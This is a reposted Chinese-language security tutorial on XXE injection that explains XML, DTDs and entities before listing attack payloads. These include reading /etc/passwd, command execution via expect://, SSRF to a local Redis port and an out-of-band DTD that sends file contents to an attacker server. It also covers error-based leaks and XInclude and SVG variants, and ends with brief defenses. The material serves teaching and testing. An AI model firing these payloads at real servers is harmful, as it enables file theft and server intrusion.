XXE注入

admin 2025年1月6日08:49:23评论22 views字数 6353阅读21分10秒阅读模式

XML外部实体注入

XML外部实体注入也称为XXE,是因为后端服务器的XML解析器配置错误,允许在XML文档中定义外部实体,通过外部实体引用外部资源或文件,而且对外部实体引用的资源或文件没有做严格的过滤和校验,导致攻击者可以构造恶意的XML文件发送给服务器让其解析,进而造成安全问题。

XML

XML(Extensible Markup Language,可扩展标记语言)是一种文本格式,主要用来存储或者传输数据,跟HTML(Hypertext Markup Language)一样,都使用标签来表示不同的数据,不同的是,XML的标签名可以自定义,也就是所谓的可扩展。

XML格式

如下表:

姓名
性别
年龄
小明
10
小红
11
小兰
12

XML格式为:

<personlist>
<person>
<name>小明</name>
<sex></sex>
<age>10</age>
</person>
<person>
<name>小红</name>
<sex></sex>
<age>11</age>
</person>
<person>
<name>小兰</name>
<sex></sex>
<age>12</age>
</person>
</personlist>

每个标签都有一个开始标签和结束标签,比如开始标签<name>和结束标签</name><personlist>是根标签,<person>就是<personlist>的子标签,以此类推。

XML声明

XML声明用来指定XML版本和编码类型等信息,但它并不是必须的,在某些简单的XML文档中,可以省略声明,不受影响。

<?xml version="1.0" encoding="UTF-8"?>

XML文档类型定义

XML文档类型定义(DTD)用来规定XML文档的整体结构,包括有哪些元素、元素的顺序、元素的属性等等,语法如下:

元素定义

<!ELEMENT person (namesexage)>

<person>元素必须包含<name><sex><age>三个子元素,且顺序不能改变。

属性定义

<!ATTLIST nametestCDATA#REQUIRED>

<name>定义了一个属性,名为test,类型是CDATA,即属性值可以是任何字符数据,#REQUIRED表示这个属性是必须的,如下:

<nametest="hack">小明</name>

实体定义

<!ENTITY test"小明">

定义了一个实体,名为test,值为小明,可以在XML中通过&entity_name;引用,如下:

<!DOCTYPE person [
<!ENTITY test"小明">
]>

<person>
<name>&test;</name>
</person>

DTD还可以分为内部DTD和外部DTD,内部 DTD是直接嵌入在XML文档中的,外部DTD是存在单独的文件中,然后在XML文档中引用。

内部DTD

<?xml version="1.0"?>
<!DOCTYPE person [
<!ELEMENT perosn (name,sex,age)>
<!ELEMENT name (#PCDATA)>
]>

<person>
<name>小明</name>
<sex></sex>
<age>10</age>
</person>

外部DTD

<?xml version="1.0"?>
<!DOCTYPE personSYSTEM"person.dtd">
<person>
<name>小明</name>
<sex></sex>
<age>10</age>
</person>

<!DOCTYPE>声明

<!DOCTYPE>声明(文档类型声明)在XML文档的开头,XML声明之后,用来指定文档类型和结构,并包含DTD,而<!DOCTYPE>声明并不是XML文档内容的一部分,而是XML的元数据。格式如下:

<?xml version="1.0"?>
<!DOCTYPE person [
<!ELEMENT perosn (name,sex,age)>
<!ELEMENT name (#PCDATA)>
]>

<person>
<name>小明</name>
<sex></sex>
<age>10</age>
</person>

XML实体

实体可以让我们在XML文档中引用一些特殊的字符、值或者外部文件,可以分为预定义实体、自定义实体和外部实体,如下:

XML预定义实体

有些特殊符号在XML文档中有着特殊的意义,不能直接使用,所以就有了预定义实体来替代这些特殊符号,如下:

&lt;   代表 <(小于号)
&gt;   代表 >(大于号)
&amp;  代表 &(和号)
&quot; 代表 "(双引号)
&apos; 代表 '(单引号)

例如:

<name>&quot;小明&quot;</name>

在XML解析器解析时,最终得到的内容就是:

<name>"小明"</name>

XML自定义实体

在DTD中提到过,在XML中使用<!ENTITY>声明直接定义即可,可以定义一些自己需要的内容,然后在XML文档中引用。

<!DOCTYPE person [
<!ENTITY test"小明">
]>

<person>
<name>&test;</name>
</person>

在XML解析器解析时,最终得到的内容就是:

<!DOCTYPE person [
<!ENTITY test"小明">
]>

<person>
<name>小明</name>
</person>

XML外部实体

外部实体属于自定义实体的一种,在DTD中定义,用来引用外部资源或文件,可以是文件路径,也可以是URL地址,需要使用SYSTEM关键字,表示实体内容来自外部资源,如下:

<!DOCTYPE test [
<!ENTITY testSYSTEM"http://example.com">
]>

或者是

<!DOCTYPE test [
<!ENTITY testSYSTEM"file:///etc/passwd">
]>

XXE攻击类型

文件读取

如下图,是一个查看商品库存的请求,使用XML文档提交数据。

XXE注入

现在修改XML文档,定义一个外部实体,内容指向/etc/passwd。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [ 
<!ENTITY xxeSYSTEM"file:///etc/passwd"> ]>

<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

有时候XML文档内容会非常多,具体在哪个标签引用外部实体,需要观察原始请求的内容和响应中是否有回显。

XXE注入

命令执行

Payload如下:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
<!ENTITY xxeSYSTEM"expect://whoami" > ]>

<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

SSRF

Payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
<!ENTITY xxeSYSTEM"http://127.0.0.1:6379"> ]>

<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>

盲XXE

盲XXE就是引用的外部实体内容将不会在响应中返回,无法通过响应内容判断是否存在XXE漏洞,但仍有办法检测,如下:

数据带外

定义外部实体的时候,内容指向我们的DNSlog服务器地址,如果目标服务器正常解析XML文档,向DNSlog服务器发起请求,我们就可以在DNSlog服务器日志中看到目标服务器的HTTP请求和DNS查询记录。还是以查看库存为例,我用Burp的Collaborator演示。Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
<!ENTITY xxeSYSTEM"http://gfzjtjedth8ergrofsz0khg0krqie82x.oastify.com"> ]>

<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
XXE注入

回到Collaborator查看记录。

XXE注入

收到记录,目标服务器向Payload发起了DNS查询和HTTP请求,即成功解析XXE Payload,漏洞存在。

参数实体

参数实体也是用<!ENTITY>定义,实体名前需要加百分号(%),表示定义的是参数实体,引用也是使用%,并且是在DTD中引用,如下:

<!DOCTYPE test [ 
<!ENTITY % xxeSYSTEM"http://gfzjtjedth8ergrofsz0khg0krqie82x.oastify.com">
  %xxe; 
]>

利用数据带外读取文件

需要在攻击服务器(http://example.com)上创建一个DTD文件,让目标服务器引用,文件内容如下:

<!ENTITY % test1SYSTEM"file:///etc/passwd">
<!ENTITY % test2"<!ENTITY &#x25; test3 SYSTEM 'http://example.com/?x=%test1;'>">
%test2;
%test3;

1、定义参数实体test1,内容指向/etc/passwd文件。

2、定义参数实体test2,而在内容中又定义了一个参数实体test3,这种结构叫参数实体的递归引用或者参数实体内嵌实体声明。

3、定义参数实体test3中,&#x25就是预定义实体,解析后是%,内容是向攻击服务器http://example.com发送请求,x是个参数,%test就是/etc/passwd,意思是/etc/passwd文件内容通过参数x传递到攻击服务器。

4、在DTD中引用参数实体%test2;和%test3;。

假设该DTD文件的位置是http://example.com/test.dtd。现在引用该实体,发送到目标服务器。

<!DOCTYPE test [<!ENTITY % xxeSYSTEM
"http://example.com/test.dtd">
 %xxe;]>

目标服务器读取test.dtd,然后解析,将/etc/passwd文件内容通过x参数传递给攻击者,攻击者可以通过访问日志查看,效果如下:

127.0.0.1 - - [01/Jan/2025:12:00:00 +0000] "GET /?x=root:x:0:0:root:/root:/bin/bash HTTP/1.1" 200 123 "-""Mozilla/5.0"

利用错误消息读取文件

如果服务器解析XML时报错,会返回错误信息,那么就可以尝试利用错误消息读取文件,还是引用外部DTD,内容如下:

<!ENTITY % test1SYSTEM"file:///etc/passwd">
<!ENTITY % test2"<!ENTITY &#x25; test3 SYSTEM 'file:///nonexistent/%test1;'>">
%test2;
%test3;

1、定义参数实体test1,内容指向/etc/passwd文件。

2、定义参数实体test2,在内容中嵌入参数实体test3。

3、实体test3的内容是一个不存在的外部文件file:///nonexistent/%test1;,也就是file:///nonexistent/file:///etc/passwd。

4、在DTD中引用参数实体%test2;和%test3;。

然后就是引用该DTD,发送到目标服务器,目标服务器读取并解析,加载文件file:///nonexistent/file:///etc/passwd,由于该文件不存在,所以报错,并且将报错内容返回给攻击者,如下:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

寻找隐藏攻击面

如果提交的数据不是XML格式的,也就无法直接通过修改请求测试XXE,那么就需要寻找隐藏的攻击面,如下情况:

XInclude攻击

有时候客户端提交的数据并不是XML格式的,但是服务器会把提交的内容嵌入到XML文档,然后交给XML解析器来处理,如果XML解析器开启XInclude功能(XML Include,文件包含功能),则可以通过<xi:include>标签引用外部文件,Payload如下:

<testxmlns:xi="http://www.w3.org/2001/XInclude">
<xi:includeparse="text"href="file:///etc/passwd"/>
</test>

test是根标签,xmlns:xi="http://www.w3.org/2001/XInclude"是命名空间声明,定义xi是XIclude的前缀,指向的地址是XInclude规范的正式URI,就是告诉XML解析器这是XInclude功能。

xi:include是文件包含的标签,parse="text"是告诉服务器把内容以纯文本嵌入到XML文档,href="file:///etc/passwd"指定外部文件路径。

服务器收到后,嵌入XML文档,XML解析器解析,读取/etc/passwd,如下图:

XXE注入

文件上传漏洞

在文件上传漏洞中提到过,服务器允许用户上传.docx、.xlsx后缀的文件,可以修改文件中的XML文档进行测试XXE,还有就是允许上传svg文件,svg文件不仅可以测试XSS,也可以用来检测是否存在XXE,Payload如下:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxeSYSTEM"file:///etc/hostname" > ]>
<svgwidth="128px"height="128px"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"version="1.1"><textfont-size="16"x="0"y="16">&xxe;</text></svg>

预防漏洞

预防和修复XXE漏洞的核心是禁止或限制XML解析器加载外部实体。以下是一些常见的防御措施:

禁用外部实体解析

最重要的修复措施就是禁用外部实体的解析,禁用后,则无法通过定义外部实体实施XXE攻击。

验证清理输入数据

严格验证XML格式和内容,确保定义的外部实体没有引用敏感文件,或恶意操作。

避免不必要的XML功能

如果没有必须要使用XML的功能,就尽量避免使用XML,可以用JSON代替,其他格式数据也严禁使用XML解析器解析。

总结

如果你对安全感兴趣,别忘了关注我们,持续为你带来最新的安全动态与技术分享!

原文始发于微信公众号(AlertSec):XXE注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月6日08:49:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XXE注入https://cn-sec.com/archives/3591416.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息